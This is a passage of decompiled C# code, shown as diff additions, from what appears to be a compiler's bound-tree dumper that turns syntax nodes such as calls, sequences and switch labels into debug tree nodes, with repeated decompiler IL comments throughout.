+ //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + return new TreeDumperNode("dagAssignmentEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("target", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Target, null) }), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSwitchSection(BoundSwitchSection node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Expected O, but got Unknown + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Expected O, but got Unknown + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Expected O, but got Unknown + return new TreeDumperNode("switchSection", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("switchLabels", (object)null, node.SwitchLabels.Select((BoundSwitchLabel x) => Visit(x, null))), + new TreeDumperNode("statements", (object)null, node.Statements.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSwitchLabel(BoundSwitchLabel node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + return new TreeDumperNode("switchLabel", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("whenClause", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenClause, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSequencePointExpression(BoundSequencePointExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("sequencePointExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSequence(BoundSequence node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + return new TreeDumperNode("sequence", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("sideEffects", (object)null, node.SideEffects.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSpillSequence(BoundSpillSequence node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + return new TreeDumperNode("spillSequence", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("sideEffects", (object)null, node.SideEffects.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicMemberAccess(BoundDynamicMemberAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Expected O, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Expected O, but got Unknown + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Expected O, but got Unknown + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Expected O, but got Unknown + return new TreeDumperNode("dynamicMemberAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("typeArgumentsOpt", (object)node.TypeArgumentsOpt, (IEnumerable)null), + new TreeDumperNode("name", (object)node.Name, (IEnumerable)null), + new TreeDumperNode("invoked", (object)node.Invoked, (IEnumerable)null), + new TreeDumperNode("indexed", (object)node.Indexed, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDynamicInvocation(BoundDynamicInvocation node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Expected O, but got Unknown + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + return new TreeDumperNode("dynamicInvocation", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("applicableMethods", (object)node.ApplicableMethods, (IEnumerable)null), + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConditionalAccess(BoundConditionalAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + return new TreeDumperNode("conditionalAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("accessExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AccessExpression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Expected O, but got Unknown + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Expected O, but got Unknown + return new TreeDumperNode("loweredConditionalAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("receiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Receiver, null) }), + new TreeDumperNode("hasValueMethodOpt", (object)node.HasValueMethodOpt, (IEnumerable)null), + new TreeDumperNode("whenNotNull", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenNotNull, null) }), + new TreeDumperNode("whenNullOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenNullOpt, null) }), + new TreeDumperNode("id", (object)node.Id, (IEnumerable)null), + new TreeDumperNode("forceCopyOfNullableValueType", (object)node.ForceCopyOfNullableValueType, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConditionalReceiver(BoundConditionalReceiver node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("conditionalReceiver", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("id", (object)node.Id, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + return new TreeDumperNode("complexConditionalReceiver", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("valueTypeReceiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ValueTypeReceiver, null) }), + new TreeDumperNode("referenceTypeReceiver", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReferenceTypeReceiver, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitMethodGroup(BoundMethodGroup node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected O, but got Unknown + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Expected O, but got Unknown + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Expected O, but got Unknown + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Expected O, but got Unknown + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Expected O, but got Unknown + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Expected O, but got Unknown + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Expected O, but got Unknown + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Expected O, but got Unknown + return new TreeDumperNode("methodGroup", (object)null, (IEnumerable)(object)new TreeDumperNode[12] + { + new TreeDumperNode("typeArgumentsOpt", (object)node.TypeArgumentsOpt, (IEnumerable)null), + new TreeDumperNode("name", (object)node.Name, (IEnumerable)null), + new TreeDumperNode("methods", (object)node.Methods, (IEnumerable)null), + new TreeDumperNode("lookupSymbolOpt", (object)node.LookupSymbolOpt, (IEnumerable)null), + new TreeDumperNode("lookupError", (object)node.LookupError, (IEnumerable)null), + new TreeDumperNode("flags", (object)node.Flags, (IEnumerable)null), + new TreeDumperNode("functionType", (object)node.FunctionType, (IEnumerable)null), + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPropertyGroup(BoundPropertyGroup node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + return new TreeDumperNode("propertyGroup", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("properties", (object)node.Properties, (IEnumerable)null), + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCall(BoundCall node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Expected O, but got Unknown + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Expected O, but got Unknown + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Expected O, but got Unknown + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Expected O, but got Unknown + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Expected O, but got Unknown + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017d: Expected O, but got Unknown + //IL_0191: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Expected O, but got Unknown + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Expected O, but got Unknown + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Expected O, but got Unknown + return new TreeDumperNode("call", (object)null, (IEnumerable)(object)new TreeDumperNode[16] + { + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("initialBindingReceiverIsSubjectToCloning", (object)node.InitialBindingReceiverIsSubjectToCloning, (IEnumerable)null), + new TreeDumperNode("method", (object)node.Method, (IEnumerable)null), + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("isDelegateCall", (object)node.IsDelegateCall, (IEnumerable)null), + new TreeDumperNode("expanded", (object)node.Expanded, (IEnumerable)null), + new TreeDumperNode("invokedAsExtensionMethod", (object)node.InvokedAsExtensionMethod, (IEnumerable)null), + new TreeDumperNode("argsToParamsOpt", (object)node.ArgsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("defaultArguments", (object)node.DefaultArguments, (IEnumerable)null), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("originalMethodsOpt", (object)node.OriginalMethodsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitEventAssignmentOperator(BoundEventAssignmentOperator node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Expected O, but got Unknown + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Expected O, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Expected O, but got Unknown + return new TreeDumperNode("eventAssignmentOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("@event", (object)node.Event, (IEnumerable)null), + new TreeDumperNode("isAddition", (object)node.IsAddition, (IEnumerable)null), + new TreeDumperNode("isDynamic", (object)node.IsDynamic, (IEnumerable)null), + new TreeDumperNode("receiverOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverOpt, null) }), + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAttribute(BoundAttribute node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected O, but got Unknown + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Expected O, but got Unknown + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Expected O, but got Unknown + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Expected O, but got Unknown + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Expected O, but got Unknown + return new TreeDumperNode("attribute", (object)null, (IEnumerable)(object)new TreeDumperNode[11] + { + new TreeDumperNode("constructor", (object)node.Constructor, (IEnumerable)null), + new TreeDumperNode("constructorArguments", (object)null, node.ConstructorArguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("constructorArgumentNamesOpt", (object)node.ConstructorArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("constructorArgumentsToParamsOpt", (object)node.ConstructorArgumentsToParamsOpt, (IEnumerable)null), + new TreeDumperNode("constructorExpanded", (object)node.ConstructorExpanded, (IEnumerable)null), + new TreeDumperNode("constructorDefaultArguments", (object)node.ConstructorDefaultArguments, (IEnumerable)null), + new TreeDumperNode("namedArguments", (object)null, node.NamedArguments.Select((BoundAssignmentOperator x) => Visit(x, null))), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Expected O, but got Unknown + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Expected O, but got Unknown + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Expected O, but got Unknown + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Expected O, but got Unknown + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Expected O, but got Unknown + return new TreeDumperNode("unconvertedObjectCreationExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("arguments", (object)null, node.Arguments.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("argumentNamesOpt", (object)node.ArgumentNamesOpt, (IEnumerable)null), + new TreeDumperNode("argumentRefKindsOpt", (object)node.ArgumentRefKindsOpt, (IEnumerable)null), + new TreeDumperNode("initializerOpt", (object)node.InitializerOpt, (IEnumerable)null), + new TreeDumperNode("binder", (object)node.Binder, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitObjectCreationExpression(BoundObjectCreationExpression node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Expected O, but got Unknown + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Expected O, but got Unknown + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Expected O, but got Unknown + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected O, but got Unknown + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Expected O, but got Unknown + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Expected O, but got Unknown + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Expected 